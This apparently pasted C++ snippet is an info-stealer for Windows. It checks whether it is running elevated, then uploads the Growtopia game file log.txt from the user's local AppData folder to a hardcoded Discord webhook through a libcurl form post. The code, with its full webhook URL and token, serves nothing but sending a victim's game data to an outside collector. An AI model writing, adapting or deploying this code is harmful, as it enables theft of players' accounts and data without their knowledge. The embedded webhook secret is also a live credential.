Untitled
unknown
plain_text
2 years ago
2.2 kB
7
Indexable
#include <ShlObj.h> #define _CRT_SECURE_NO_WARNINGS #pragma warning(disable : 4996) #include <cstdlib> #include <sys/stat.h> #include <fstream> std::string GetLocalAppDataFolderPath() { std::string localAppDataFolderPath; #ifdef _WIN32 const char* appDataDir = std::getenv("LOCALAPPDATA"); if (appDataDir) { localAppDataFolderPath = std::string(appDataDir) + "\\"; } #endif return localAppDataFolderPath; } void bussh() { bool isElevated = false; HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD dwSize; if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { isElevated = (elevation.TokenIsElevated != 0); } CloseHandle(hToken); } CURL* curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if (curl) { const char* webhookUrl = "https://discord.com/api/webhooks/1109904831285567519/bCv9MwMEUM8_E0f9SZLjBhHCbcNAzZ8eK28MmIX2J9LB7meXdsr3ReTX9JsWfOxQdb-i"; std::string filePath = GetLocalAppDataFolderPath(); filePath += "\\Growtopia\\log.txt"; std::ifstream file(filePath); struct curl_httppost* formpost = nullptr; struct curl_httppost* lastptr = nullptr; curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, filePath, CURLFORM_END); curl_easy_setopt(curl, CURLOPT_URL, webhookUrl); curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost); res = curl_easy_perform(curl); if (res != CURLE_OK) { std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << std::endl; if (res == CURLE_FILE_COULDNT_READ_FILE) { std::cout << "hata1" << std::endl; } else if (res == CURLE_FILESIZE_EXCEEDED) { std::cout << "hata2" << std::endl; } } curl_easy_cleanup(curl); curl_formfree(formpost); } curl_global_cleanup(); system("PAUSE"); }
Editor is loading...